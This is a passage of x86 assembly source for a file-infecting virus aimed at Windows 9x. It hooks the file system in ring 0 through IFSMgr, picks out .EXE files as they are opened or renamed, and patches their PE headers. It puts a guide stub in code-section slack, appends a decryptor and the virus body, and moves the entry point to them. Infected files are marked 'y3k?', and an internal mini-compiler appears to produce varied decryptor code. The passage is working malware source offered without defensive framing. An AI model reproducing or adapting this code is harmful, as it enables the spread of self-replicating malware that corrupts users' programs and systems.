lodsd
|
||
bswap eax
|
||
|
||
lea edi,[MaybeUnnessesaryInstructions+ebp]
|
||
mov ecx,(MaybeUnnessesaryInstructionsEnd-MaybeUnnessesaryInstructions)/4
|
||
repnz scasd
|
||
|
||
test ecx,ecx
|
||
jz DontOptimize2
|
||
|
||
xor eax,eax
|
||
|
||
.while (al!=',')
|
||
lodsb
|
||
|
||
.endw
|
||
|
||
mov edi,esi
|
||
mov ecx,1000h
|
||
FindNextEntry:
|
||
; rep scasb
|
||
jecxz DontOptimize2
|
||
|
||
mov ebx,edi
|
||
and edi,0fffffff0h
|
||
sub ebx,edi
|
||
cmp ebx,4
|
||
jz DontOptimize2
|
||
|
||
mov ebx,Op_mov
|
||
cmp [edi],ebx
|
||
jnz FindNextEntry
|
||
pop edi
|
||
jmp ClearUnnessesaryInstructionsLoop
|
||
|
||
DontOptimize2:
|
||
pop edi
|
||
and esi,0fffffff0h
|
||
mov ecx,16
|
||
rep movsb
|
||
sub esi,16
|
||
jmp ClearUnnessesaryInstructionsLoop
|
||
|
||
|
||
|
||
pop edi
|
||
ret
|
||
|
||
|
||
ClearDoNothingInstrucions:
|
||
push edi
|
||
sub esi,16
|
||
xor ecx,ecx
|
||
|
||
OptimizeLoop:
|
||
|
||
add esi,16
|
||
and esi,0fffffff0h
|
||
push esi
|
||
|
||
lodsd
|
||
test eax,eax
|
||
jz OptimizeEnd
|
||
|
||
bswap eax
|
||
cmp eax,Op_mov
|
||
jnz DontOptimize
|
||
|
||
xor eax,eax
|
||
lodsw
|
||
mov ebx,eax
|
||
lodsb
|
||
lodsw
|
||
cmp ebx,eax
|
||
jnz DontOptimize
|
||
pop esi
|
||
jmp OptimizeLoop
|
||
|
||
DontOptimize:
|
||
mov ecx,16
|
||
pop esi
|
||
rep movsb
|
||
sub esi,16
|
||
jmp OptimizeLoop
|
||
|
||
OptimizeEnd:
|
||
test ecx,ecx
|
||
jnz OptimizeDoReallyQuit
|
||
|
||
mov ecx,16
|
||
pop esi
|
||
rep movsb
|
||
sub esi,16
|
||
|
||
inc ecx
|
||
jmp OptimizeLoop
|
||
|
||
|
||
OptimizeDoReallyQuit:
|
||
pop eax
|
||
pop edi
|
||
ret
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
; 1. Init block
|
||
|
||
; offset 0
|
||
; pushad
|
||
|
||
; 2. Make pointer to mem
|
||
|
||
; 3. Read block
|
||
; Encrypt block
|
||
; Write block
|
||
|
||
; popad
|
||
|
||
; 5. Change mempointer block
|
||
; 6. Compare and jump block
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
PE_Objects equ 6
|
||
PE_NTHdrSize equ 20
|
||
PE_Entrypoint equ 40
|
||
PE_ImageBase equ 52
|
||
PE_ObjectAlign equ 56
|
||
PE_FileAlign equ 60
|
||
PE_ImageSize equ 80
|
||
|
||
Obj_Name equ 0
|
||
Obj_VirtualSize equ 8
|
||
Obj_VirtualOffset equ 12
|
||
Obj_PhysicalSize equ 16
|
||
Obj_PhysicalOffset equ 20
|
||
Obj_Flags equ 36
|
||
|
||
|
||
|
||
|
||
|
||
|
||
IFSMgr equ 0040h
|
||
|
||
R0_AllocMem equ 000dh
|
||
R0_FreeMem equ 000eh
|
||
|
||
Ring0_FileIO equ 0032h
|
||
InstallFileSystemAPIhook equ 0067h
|
||
UniToBCSPath equ 0041h
|
||
|
||
ResidentcodeStart:
|
||
|
||
jmp FileFunction
|
||
|
||
R0_OPENCREATFILE equ 0D500h ; Open/Create a file
|
||
R0_READFILE equ 0D600h ; Read a file, no context
|
||
R0_WRITEFILE equ 0D601h ; Write to a file, no context
|
||
R0_CLOSEFILE equ 0D700h
|
||
|
||
|
||
IFSFN_FILEATTRIB equ 33
|
||
IFSFN_OPEN equ 36
|
||
IFSFN_RENAME equ 37
|
||
|
||
|
||
IFSFN_READ equ 0 ; read a file
|
||
IFSFN_WRITE equ 1 ; write a file
|
||
|
||
|
||
|
||
FileIOWrite:
|
||
mov eax,R0_WRITEFILE
|
||
mov ebx,[FileHandle+edi]
|
||
pop [ReturnAddr+edi]
|
||
push Ring0_FileIO
|
||
jmp Label6
|
||
|
||
FileIOReadDWordToSlack:
|
||
mov ecx,4 ; how many bytes
|
||
FileIOReadToSlack:
|
||
lea esi,[Slack+edi] ; where to place data
|
||
FileIORead:
|
||
mov eax,R0_READFILE
|
||
FileIOHandle:
|
||
mov ebx,[FileHandle+edi]
|
||
FileIO:
|
||
pop [ReturnAddr+edi]
|
||
push Ring0_FileIO
|
||
jmp Label6
|
||
vxd:
|
||
pop [ReturnAddr+edi]
|
||
Label6:
|
||
pop [CallService+edi+2]
|
||
mov word ptr [CallService+edi],20cdh
|
||
mov word ptr [CallService+edi+4],0040h
|
||
jmp CallService
|
||
|
||
CallService:
|
||
Slack:
|
||
int 20h
|
||
dw 0dh
|
||
dw 0040h
|
||
jmp [ReturnAddr+edi]
|
||
|
||
|
||
ZeroRegStart:
|
||
|
||
|
||
db 0
|
||
FileToInfect db 256 dup (0)
|
||
|
||
TempPtr dd 0
|
||
|
||
TotalSize dd 0
|
||
OldAPIFunction dd 0
|
||
GuidePos dd 0
|
||
GuideSize dd 0
|
||
DecryptorPos dd 0
|
||
DecryptorSize dd 0
|
||
|
||
HeaderSize dd 0
|
||
|
||
VirusInRing0Mem dd 0
|
||
|
||
MemoryTable dd 0
|
||
VirtualDataSegment dd 0
|
||
|
||
ReturnAddr dd 0
|
||
ReturnAddr2 dd 0
|
||
|
||
Flag dd 0
|
||
|
||
FileHandle dd 0
|
||
PEHeadOfs dd 0
|
||
PEHeadStart dd 0
|
||
ObjTable dd 0
|
||
|
||
CodeObjectPtr dd 0
|
||
DataObjectPtr dd 0
|
||
LastObjectPtr dd 0
|
||
|
||
SlackInCodeSegment dd 0
|
||
SlackInDataSegment dd 0
|
||
|
||
OldRVA dd 0
|
||
StackSave dd 0
|
||
|
||
NewVirusOffset dd 0
|
||
JumpTableMoveOffset dd 0
|
||
|
||
NewGuideOffset dd 0
|
||
NewDecryptorOffset dd 0
|
||
NewDataSegmentOffset dd 0
|
||
|
||
Unload dd 0
|
||
ZeroRegEnd:
|
||
|
||
; eax = how much free space
|
||
; ebx = where it is located
|
||
; ecx = pointer to segment object table
|
||
; edx = last object pointer
|
||
|
||
|
||
|
||
|
||
GetSegmentSlack:
|
||
pop [ReturnAddr2+edi]
|
||
|
||
mov eax,[PEHeadStart+edi]
|
||
lea ebx,[eax+24]
|
||
|
||
xor ecx,ecx
|
||
mov cx,[eax+PE_NTHdrSize] ; NT hdr size
|
||
|
||
add ebx,ecx ; ebx -> object table
|
||
|
||
mov cx,[eax+PE_Objects] ; # objects
|
||
imul ecx,ecx,40
|
||
|
||
add ecx,ebx
|
||
push ecx ; push pointer to last object
|
||
; + 40
|
||
FindCodeSegmentLoop:
|
||
sub ecx,8*5
|
||
cmp ecx,ebx
|
||
jl DidntFindSegment
|
||
|
||
cmp dword ptr [ecx],edx ; is code object?
|
||
jnz FindCodeSegmentLoop
|
||
|
||
pop edx ; pop pointer to last object
|
||
sub edx,40
|
||
|
||
mov eax,[ecx+Obj_PhysicalSize] ; size of segment
|
||
mov ebx,[ecx+Obj_PhysicalOffset] ; where does segment start
|
||
|
||
call CalculateFreeSpace
|
||
jmp [ReturnAddr2+edi]
|
||
|
||
DidntFindSegment:
|
||
pop eax
|
||
xor eax,eax
|
||
jmp [ReturnAddr2+edi]
|
||
|
||
|
||
SegmentSize dd 0
|
||
SegmentOffset dd 0
|
||
SegmentBuffer dd 0
|
||
|
||
CalculateFreeSpace:
|
||
push ecx
|
||
push edx
|
||
|
||
mov [SegmentSize+edi],eax
|
||
mov [SegmentOffset+edi],ebx
|
||
|
||
push eax
|
||
push R0_AllocMem
|
||
call vxd
|
||
pop ecx
|
||
test eax,eax
|
||
jz FileFunctionEndAddEsp
|
||
|
||
mov [SegmentBuffer+edi],eax
|
||
|
||
mov edx,[SegmentOffset+edi] ; read from
|
||
mov esi,eax ; read to
|
||
mov ecx,[SegmentSize+edi] ; how much to read
|
||
call FileIORead
|
||
|
||
mov ebx,edi
|
||
|
||
mov edi,[SegmentBuffer+ebx]
|
||
|
||
add edi,[SegmentSize+ebx]
|
||
sub edi,4 ; edi -> end of segment
|
||
|
||
push edi ; push end of seg
|
||
|
||
xor eax,eax
|
||
xor ecx,ecx
|
||
dec ecx
|
||
|
||
std
|
||
repz scasb
|
||
cld
|
||
dec eax
|
||
sub eax,ecx
|
||
|
||
mov edi,ebx
|
||
|
||
pop ebx ; end of seg
|
||
sub ebx,8 ; decrease some
|
||
|
||
|
||
push eax ; push number of slack bytes
|
||
|
||
mov eax,[SegmentBuffer+edi]
|
||
sub ebx,eax
|
||
push eax
|
||
push R0_FreeMem
|
||
call vxd
|
||
pop eax
|
||
|
||
pop eax ; eax = slackbytes in codeseg
|
||
sub eax,20 ; some safety
|
||
sub ebx,eax ; where slack starts
|
||
|
||
pop edx
|
||
pop ecx
|
||
ret
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
; ----------------------------------------
|
||
; --------------------------- FileFunction
|
||
; ----------------------------------------
|
||
|
||
FileFunction:
|
||
push ebp
|
||
|
||
mov ebp,esp
|
||
push edi
|
||
push esi
|
||
push ebx
|
||
|
||
BasePtr:
|
||
mov edi,66666666h
|
||
|
||
cmp [Unload+edi],1
|
||
jz CallInOurFunction
|
||
|
||
|
||
xor eax,eax
|
||
inc eax
|
||
cmp [Flag+edi],eax
|
||
jz CallInOurFunction
|
||
|
||
mov [Flag+edi],eax
|
||
mov eax,[ebp+12]
|
||
|
||
cmp eax,IFSFN_OPEN
|
||
jz CheckFilename
|
||
|
||
cmp eax,IFSFN_FILEATTRIB
|
||
jz CheckFilename
|
||
|
||
cmp eax,IFSFN_RENAME
|
||
jnz FileFunctionEnd
|
||
|
||
CheckFilename:
|
||
|
||
mov eax,[ebp+16]
|
||
|
||
test eax,eax
|
||
jz FileFunctionEnd
|
||
|
||
cmp eax,0ffh
|
||
jz FileFunctionEnd
|
||
|
||
cmp eax,25
|
||
ja FileFunctionEnd
|
||
|
||
add eax,'a'-1
|
||
add eax,':'*256
|
||
|
||
lea esi,[FileToInfect+edi]
|
||
|
||
mov word ptr [esi],ax
|
||
|
||
add esi,2
|
||
|
||
push 0
|
||
push 250
|
||
mov eax,[ebp+28]
|
||
mov eax,[eax+12]
|
||
add eax,4
|
||
push eax
|
||
push esi
|
||
|
||
push UniToBCSPath
|
||
call vxd
|
||
add esp,16
|
||
|
||
mov byte ptr [esi+eax],0
|
||
|
||
cmp dword ptr [esi+eax-4],'EXE.'
|
||
jne FileFunctionEnd
|
||
|
||
xor ebx,ebx
|
||
cmp dword ptr [esi+1],'OLNU' ; is catalog starting on unlo
|
||
setz bl
|
||
mov [Unload+edi],ebx ; unload virus then
|
||
|
||
|
||
cmp dword ptr [esi],'FNI' ; dont infect files in win*
|
||
jne FileFunctionEnd ; if there is a bug we dont
|
||
; to hurt system critical
|
||
; files
|
||
|
||
|
||
|
||
sub esi,2
|
||
mov bx,2
|
||
mov cx,0
|
||
mov dx,1h
|
||
mov eax,R0_OPENCREATFILE
|
||
call FileIO
|
||
jc FileFunctionEnd
|
||
|
||
|
||
mov [FileHandle+edi],eax
|
||
|
||
xor edx,edx ; where to read in file
|
||
call FileIOReadDWordToSlack
|
||
jc FileFunctionEndCloseFile
|
||
|
||
|
||
cmp word ptr [Slack+edi],'ZM'
|
||
jnz FileFunctionEnd
|
||
|
||
mov edx,3ch ; where to read in file
|
||
call FileIOReadDWordToSlack
|
||
|
||
mov edx,[Slack+edi]
|
||
mov [PEHeadOfs+edi],edx
|
||
|
||
call FileIOReadDWordToSlack
|
||
|
||
cmp word ptr [Slack+edi],'EP'
|
||
jnz FileFunctionEndCloseFile
|
||
|
||
mov edx,[PEHeadOfs+edi]
|
||
add edx,84
|
||
call FileIOReadDWordToSlack
|
||
|
||
mov ecx,[Slack+edi] ; size of exehead, pehead and
|
||
; objtable
|
||
|
||
mov edx,[PEHeadOfs+edi]
|
||
sub ecx,edx ; size of pehead and objtable
|
||
|
||
cmp ecx,1000h
|
||
ja FileFunctionEndCloseFile
|
||
|
||
mov [HeaderSize+edi],ecx
|
||
lea eax,[ecx+20]
|
||
|
||
; allocate mem for PEHeader
|
||
push eax
|
||
push R0_AllocMem
|
||
call vxd
|
||
pop ecx
|
||
test eax,eax
|
||
jz FileFunctionEndCloseFile
|
||
|
||
|
||
mov ecx,[HeaderSize+edi]
|
||
mov edx,[PEHeadOfs+edi]
|
||
mov esi,eax
|
||
mov [PEHeadStart+edi],esi
|
||
call FileIORead
|
||
|
||
mov eax,[PEHeadStart+edi]
|
||
cmp word ptr [eax],'EP'
|
||
jnz FileFunctionEndAddEsp
|
||
|
||
mov ebx,'y3k?' ; already infected
|
||
cmp [eax+12],ebx
|
||
jz FileFunctionEndAddEsp
|
||
|
||
|
||
|
||
mov edx,'xet.'
|
||
call GetSegmentSlack
|
||
|
||
; eax = how much free space
|
||
; ebx = where it is located
|
||
; ecx = pointer to segment object table
|
||
; edx = pointer to last object table
|
||
|
||
|
||
|
||
|
||
cmp eax,[GuideSize+edi]
|
||
jl FileFunctionEndAddEsp
|
||
|
||
mov [CodeObjectPtr+edi],ecx ; save offset of code object
|
||
mov [SlackInCodeSegment+edi],ebx
|
||
|
||
mov edx,'tad.'
|
||
call GetSegmentSlack
|
||
test eax,eax
|
||
jz FileFunctionEndAddEsp
|
||
|
||
|
||
mov [DataObjectPtr+edi],ecx ; save offset of data object
|
||
push eax
|
||
push ebx
|
||
.if (ecx==edx)
|
||
mov ebx,[PEHeadStart+edi]
|
||
mov eax,[ebx+PE_FileAlign+8] ; file align
|
||
.else
|
||
mov eax,[ecx+Obj_PhysicalSize] ; physical size
|
||
.endif
|
||
|
||
|
||
|
||
|
||
mov ebx,[ecx+Obj_VirtualSize] ; - virtual size
|
||
sub eax,ebx ; = free space
|
||
|
||
mov [SlackInDataSegment+edi],ebx
|
||
|
||
cmp eax,MemorySize*4 ; if this is true we can be
|
||
jg InfectFile ; 'sure' no bug will occure.
|
||
|
||
add eax,ebx ; size of .data segment on
|
||
; disk
|
||
sub eax,MemorySize*4+10 ; some safety
|
||
|
||
pop ebx ; where in file the zero
|
||
add ebx,200h ; slack starts
|
||
sub eax,ebx
|
||
pop eax ; size of slack block
|
||
jc FileFunctionEndAddEsp
|
||
|
||
sub eax,250h+MemorySize*4 ; enough mem free
|
||
jc FileFunctionEndAddEsp ; this method is more risky
|
||
; will bug out if the
|
||
; infected program relies
|
||
; on the data to be cleared
|
||
sub esp,8
|
||
mov [SlackInDataSegment+edi],ebx
|
||
|
||
InfectFile:
|
||
add esp,8
|
||
|
||
mov [LastObjectPtr+edi],edx ; ptr to last object table
|
||
|
||
mov ecx,[PEHeadStart+edi]
|
||
mov edx,[ecx+PE_Entrypoint] ; save old RVA
|
||
mov [OldRVA+edi],edx
|
||
|
||
|
||
mov ecx,[CodeObjectPtr+edi]
|
||
mov ebx,[SlackInCodeSegment+edi]
|
||
|
||
|
||
BreakPoint:
|
||
|
||
mov eax,ebx ; ebx = how far in is free
|
||
; space
|
||
add ebx,[ecx+Obj_VirtualOffset] ; ebx = free space in mem
|
||
|
||
mov edx,[PEHeadStart+edi]
|
||
mov [edx+PE_Entrypoint],ebx ; save new RVA
|
||
|
||
|
||
add eax,[ecx+Obj_PhysicalOffset] ; eax = free space in file
|
||
mov [NewGuideOffset+edi],eax
|
||
|
||
|
||
mov ecx,[DataObjectPtr+edi]
|
||
|
||
mov eax,[ecx+Obj_VirtualOffset] ; data space in mem
|
||
add eax,[SlackInDataSegment+edi] ; free data space in mem
|
||
add eax,(MemorySize-1)*4
|
||
add eax,[edx+PE_ImageBase] ; add with image base
|
||
|
||
mov ecx,MemorySize
|
||
mov ebx,[MemoryTable+edi]
|
||
|
||
mov edx,0ch
|
||
mov [ebx+ecx*4],edx ; used in fs:[0c]
|
||
|
||
sub ebx,4
|
||
|
||
CopyPointersToMem:
|
||
mov [ebx+ecx*4],eax
|
||
sub eax,4
|
||
dec ecx
|
||
jnz CopyPointersToMem
|
||
|
||
add ebx,4
|
||
mov [PointerToDataSlack+edi],ebx
|
||
|
||
|
||
mov ebx,[LastObjectPtr+edi]
|
||
mov eax,[VirtualDataSegment+edi]
|
||
|
||
|
||
mov ecx,[ebx+Obj_VirtualOffset] ; virtual offset
|
||
add ecx,[ebx+Obj_PhysicalSize] ; physical size
|
||
mov edx,[PEHeadStart+edi]
|
||
add ecx,[edx+PE_ImageBase] ; add with imagebase
|
||
|
||
mov [eax+8],ecx ; Decryptor Entrypoint
|
||
|
||
mov edx,[OldRVA+edi]
|
||
mov ebx,[PEHeadStart+edi]
|
||
add edx,[ebx+PE_ImageBase] ; add with image base
|
||
mov [eax],edx ; Program entrypoint
|
||
|
||
mov ebx,[DataObjectPtr+edi]
|
||
mov ecx,[ebx+Obj_VirtualOffset] ; Virtual offset
|
||
add ecx,[SlackInDataSegment+edi] ; Virtual offset of data slack
|
||
mov edx,[PEHeadStart+edi]
|
||
add ecx,[edx+PE_ImageBase] ; add with image base
|
||
|
||
mov [eax+4],ecx
|
||
|
||
mov ecx,[ebx+Obj_PhysicalOffset]
|
||
add ecx,[SlackInDataSegment+edi] ; Physical offset of data slack
|
||
|
||
mov [NewDataSegmentOffset+edi],ecx
|
||
|
||
mov ebx,[LastObjectPtr+edi]
|
||
|
||
mov ecx,[ebx+Obj_PhysicalSize] ; physical size
|
||
add ecx,[ebx+Obj_PhysicalOffset] ; physical offset
|
||
|
||
mov [NewDecryptorOffset+edi],ecx ; Entrypoint in file
|
||
|
||
mov edx,[eax+8] ; decryptor start
|
||
add edx,[DecryptorSize+edi]
|
||
mov [eax+12],edx ; save where to start decrypt
|
||
|
||
|
||
; write Guide
|
||
pushad
|
||
|
||
mov esi,[GuidePos+edi]
|
||
|
||
mov eax,[GuideSize+edi]
|
||
add eax,100
|
||
|
||
; allocate mem for PEHeader
|
||
push eax
|
||
push R0_AllocMem
|
||
call vxd
|
||
pop ecx
|
||
test eax,eax
|
||
jz FileFunctionEndCloseFile
|
||
|
||
mov [TempPtr+edi],eax
|
||
|
||
push edi
|
||
mov ebp,edi
|
||
mov edi,eax
|
||
|
||
call Compile
|
||
pop edi
|
||
|
||
mov edx,[NewGuideOffset+edi] ; write to
|
||
mov ecx,[GuideSize+edi] ; write ecx bytes
|
||
call FileIOWrite
|
||
|
||
mov eax,[TempPtr+edi]
|
||
push eax
|
||
push R0_FreeMem
|
||
call vxd
|
||
pop eax
|
||
|
||
mov esi,[DecryptorPos+edi]
|
||
|
||
mov eax,[DecryptorSize+edi]
|
||
add eax,100
|
||
|
||
; allocate mem for PEHeader
|
||
push eax
|
||
push R0_AllocMem
|
||
call vxd
|
||
pop ecx
|
||
test eax,eax
|
||
jz FileFunctionEndCloseFile
|
||
mov [TempPtr+edi],eax
|
||
|
||
push edi
|
||
mov ebp,edi
|
||
mov edi,eax
|
||
call Compile
|
||
|
||
pop edi
|
||
|
||
; write Decryptor
|
||
mov edx,[NewDecryptorOffset+edi]
|
||
mov ecx,[DecryptorSize+edi]
|
||
|
||
call FileIOWrite
|
||
|
||
mov eax,[TempPtr+edi]
|
||
push eax
|
||
push R0_FreeMem
|
||
call vxd
|
||
pop eax
|
||
|
||
popad
|
||
|
||
mov edx,[NewDataSegmentOffset+edi]
|
||
mov ecx,MemorySize*4
|
||
mov esi,[VirtualDataSegment+edi]
|
||
call FileIOWrite
|
||
|
||
|
||
mov edx,[NewDecryptorOffset+edi]
|
||
add edx,[DecryptorSize+edi]
|
||
mov ecx,VSize
|
||
mov esi,[VirusInRing0Mem+edi]
|
||
call FileIOWrite
|
||
|
||
|
||
mov ebx,VSize
|
||
add ebx,[DecryptorSize+edi]
|
||
|
||
mov esi,[LastObjectPtr+edi]
|
||
mov eax,[esi+Obj_PhysicalSize] ; physical size
|
||
add eax,ebx ; add with new virussize
|
||
add eax,100 ; safety
|
||
|
||
|
||
|
||
mov edx,[PEHeadStart+edi]
|
||
mov ecx,[edx+PE_ObjectAlign] ; object align
|
||
xor edx,edx
|
||
div ecx
|
||
inc eax
|
||
xor edx,edx
|
||
mul ecx
|
||
|
||
.if eax>[esi+8]
|
||
mov [esi+Obj_VirtualSize],eax ; save new virtual size
|
||
.endif
|
||
|
||
|
||
mov eax,[esi+Obj_PhysicalSize] ; physical size
|
||
add eax,ebx ; add with virus size
|
||
add eax,20 ; safety
|
||
|
||
mov edx,[PEHeadStart+edi]
|
||
mov ecx,[edx+PE_FileAlign] ; file align
|
||
xor edx,edx
|
||
div ecx
|
||
inc eax
|
||
xor edx,edx
|
||
mul ecx
|
||
|
||
mov [esi+Obj_PhysicalSize],eax ; save new physical size
|
||
|
||
mov eax,'y3k?'
|
||
mov ecx,[PEHeadStart+edi]
|
||
mov [ecx+12],eax
|
||
|
||
mov eax,[LastObjectPtr+edi]
|
||
mov esi,0c0000040h
|
||
mov [eax+Obj_Flags],esi
|
||
|
||
mov eax,[ecx+PE_ImageSize] ; size of image
|
||
add eax,VirusSize ; add with virussize
|
||
mov ecx,[ecx+PE_ObjectAlign] ; object aligment
|
||
xor edx,edx
|
||
div ecx
|
||
inc eax
|
||
xor edx,edx
|
||
mul ecx ; new size of image in eax
|
||
mov esi,[PEHeadStart+edi]
|
||
mov [esi+PE_ImageSize],eax ; save it
|
||
|
||
mov edx,[PEHeadOfs+edi] ; write to
|
||
mov ecx,[HeaderSize+edi]
|
||
call FileIOWrite
|
||
|
||
FileFunctionEndAddEsp:
|
||
mov eax,[PEHeadStart+edi]
|
||
push eax
|
||
push R0_FreeMem
|
||
call vxd
|
||
pop eax
|
||
|
||
FileFunctionEndCloseFile:
|
||
|
||
mov eax,R0_CLOSEFILE
|
||
call FileIOHandle
|
||
|
||
FileFunctionEnd:
|
||
xor eax,eax
|
||
mov [edi+Flag], eax
|
||
|
||
CallInOurFunction:
|
||
mov eax,[edi+OldAPIFunction]
|
||
mov ecx,edi
|
||
|
||
|
||
pop ebx
|
||
pop esi
|
||
pop edi
|
||
pop ebp
|
||
|
||
pop [ReturnFromHook+ecx]
|
||
lea edx,[ReturnFromHook+ecx+4]
|
||
sub [ReturnFromHook+ecx],edx
|
||
|
||
call dword ptr [eax]
|
||
|
||
db 0e9h
|
||
ReturnFromHook:
|
||
dd 0
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
; ------------------------------
|
||
; --------------------- Compiler
|
||
; ------------------------------
|
||
|
||
PointerToRandomMemory equ MemorySize
|
||
|
||
PointerToDataSlack dd 0
|
||
|
||
SavedOffsets dd 10 dup (-1)
|
||
|
||
InstructionTable:
|
||
dd Op_add
|
||
dd Op_and
|
||
dd Op_cmp
|
||
dd Op_or
|
||
dd Op_sub
|
||
dd Op_xor
|
||
|
||
dd Op_mov
|
||
dd Op_jmp
|
||
|
||
dd Op_jnz
|
||
dd Op_jnb
|
||
dd Op_jna
|
||
|
||
|
||
dd Op_offset
|
||
dd Op_db
|
||
InstructionTableEnd:
|
||
|
||
InstructionTables:
|
||
AddTable:
|
||
dd DefaultProc1
|
||
db 00000000b
|
||
db 10000000b
|
||
db 00000100b
|
||
db 000b
|
||
|
||
AndTable:
|
||
dd DefaultProc1
|
||
db 00100000b
|
||
db 10000000b
|
||
db 00100100b
|
||
db 100b
|
||
|
||
CmpTable:
|
||
dd DefaultProc1
|
||
db 00111000b
|
||
db 10000000b
|
||
db 00111100b
|
||
db 111b
|
||
|
||
OrTable:
|
||
dd DefaultProc1
|
||
db 00001000b
|
||
db 10000000b
|
||
db 00001100b
|
||
db 001b
|
||
|
||
SubTable:
|
||
dd DefaultProc1
|
||
db 00101000b
|
||
db 10000000b
|
||
db 00101100b
|
||
db 101b
|
||
|
||
XorTable:
|
||
dd DefaultProc1
|
||
db 00110000b
|
||
db 10000000b
|
||
db 00110100b
|
||
db 110b
|
||
|
||
MovTable:
|
||
dd MoveProc
|
||
db 10001000b
|
||
db 11000110b
|
||
db 10111000b
|
||
db 000b
|
||
|
||
|
||
JmpTable:
|
||
dd JmpProc
|
||
dd 0
|
||
|
||
|
||
JnzTable:
|
||
dd JxxProc
|
||
db 0101b
|
||
db 0,0,0
|
||
|
||
JnbTable:
|
||
dd JxxProc
|
||
db 0011b
|
||
db 0,0,0
|
||
|
||
JnaTable:
|
||
dd JxxProc
|
||
db 0110b
|
||
db 0,0,0
|
||
|
||
|
||
|
||
OffsetTable:
|
||
dd OffsetProc
|
||
dd 0
|
||
|
||
DeclareByteTable:
|
||
dd DeclareByteProc
|
||
dd 0
|
||
|
||
|
||
|
||
|
||
|
||
|
||
ToValue dd 0
|
||
ToTypeOfValue dd 0
|
||
|
||
SecondValue dd 0
|
||
SecondTypeOfValue dd 0
|
||
|
||
|
||
|
||
|
||
Instruction dd 0,0,0
|
||
InstructionLength dd 0
|
||
|
||
|
||
RegistersBitValue:
|
||
dd 0
|
||
IntelEax dd 000b
|
||
IntelEbx dd 011b
|
||
IntelEcx dd 001b
|
||
IntelEdx dd 010b
|
||
IntelEsi dd 110b
|
||
IntelEdi dd 111b
|
||
IntelEsp dd 100b
|
||
|
||
|
||
ReadInstruction1:
|
||
push edi
|
||
lea edi,[InstructionTable+ebp]
|
||
|
||
mov ecx,(InstructionTableEnd-InstructionTable)/4+1
|
||
add esi,16
|
||
and esi,0fffffff0h
|
||
|
||
lodsd
|
||
bswap eax
|
||
|
||
push edi
|
||
repnz scasd
|
||
|
||
sub edi,[esp]
|
||
|
||
shl edi,1
|
||
|
||
lea ebx,[edi+4-8+InstructionTables+ebp]
|
||
|
||
mov eax,[ebx-4]
|
||
add eax,ebp
|
||
pop edi
|
||
pop edi
|
||
|
||
test ecx,ecx
|
||
jz CompileEnd
|
||
|
||
jmp eax
|
||
|
||
|
||
|
||
|
||
|
||
ReadOperands:
|
||
call GetOperand
|
||
mov [ToValue+ebp],eax
|
||
mov [ToTypeOfValue+ebp],ebx
|
||
|
||
mov al,byte ptr [esi]
|
||
cmp al,','
|
||
jnz Return
|
||
inc esi
|
||
|
||
call GetOperand
|
||
mov [SecondValue+ebp],eax
|
||
mov [SecondTypeOfValue+ebp],ebx
|
||
ret
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
SetDirectionBit:
|
||
call WhatOperandIsRegMem
|
||
setl bl
|
||
shl ebx,1
|
||
|
||
or [Instruction+ebp],ebx
|
||
ret
|
||
|
||
|
||
GetOther:
|
||
call WhatOperandIsRegMem
|
||
jnl Label40
|
||
|
||
mov eax,[ToValue+ebp]
|
||
mov ebx,[ToTypeOfValue+ebp]
|
||
ret
|
||
|
||
GetRegMem:
|
||
call WhatOperandIsRegMem
|
||
jl Label40
|
||
|
||
mov eax,[ToValue+ebp]
|
||
mov ebx,[ToTypeOfValue+ebp]
|
||
ret
|
||
|
||
Label40:
|
||
mov eax,[SecondValue+ebp]
|
||
mov ebx,[SecondTypeOfValue+ebp]
|
||
ret
|
||
|
||
|
||
RegMem_Reg equ 0
|
||
RegMem_Immediate equ 1
|
||
Eax_Immediate equ 2
|
||
|
||
|
||
FetchOpcode:
|
||
call GetRegMem
|
||
|
||
cmp ebx,4
|
||
setz bl
|
||
cmp eax,1
|
||
setz al
|
||
and eax,ebx
|
||
mov ecx,eax
|
||
|
||
call GetOther
|
||
xor eax,eax
|
||
test ebx,ebx
|
||
jnz Return
|
||
|
||
inc eax
|
||
add eax,ecx
|
||
ret
|
||
|
||
|
||
|
||
|
||
WhatOperandIsRegMem:
|
||
xor ebx,ebx
|
||
mov eax,[ToTypeOfValue+ebp]
|
||
cmp eax,[SecondTypeOfValue+ebp]
|
||
ret
|
||
|
||
FixAddresses:
|
||
lea edx,[Instruction+ebp]
|
||
add edx,[InstructionLength+ebp]
|
||
|
||
|
||
call GetRegMem
|
||
xor ecx,ecx
|
||
cmp ebx,8
|
||
setl cl
|
||
imul ecx,ecx,3
|
||
shl ecx,6
|
||
|
||
cmp ebx,8
|
||
jz MemoryValue
|
||
|
||
mov eax,[eax*4+RegistersBitValue+ebp]
|
||
|
||
or ecx,eax
|
||
jmp Label43
|
||
|
||
|
||
|
||
MemoryValue:
|
||
or ecx,101b
|
||
mov [edx+1],eax
|
||
add [InstructionLength+ebp],4
|
||
|
||
Label43:
|
||
inc [InstructionLength+ebp]
|
||
|
||
call GetOther
|
||
test ebx,ebx
|
||
jz LastOperandIsImmediate
|
||
mov eax,[eax*4+RegistersBitValue+ebp]
|
||
shl eax,3
|
||
or ecx,eax
|
||
|
||
mov byte ptr [edx],cl
|
||
ret
|
||
|
||
LastOperandIsImmediate:
|
||
push edx
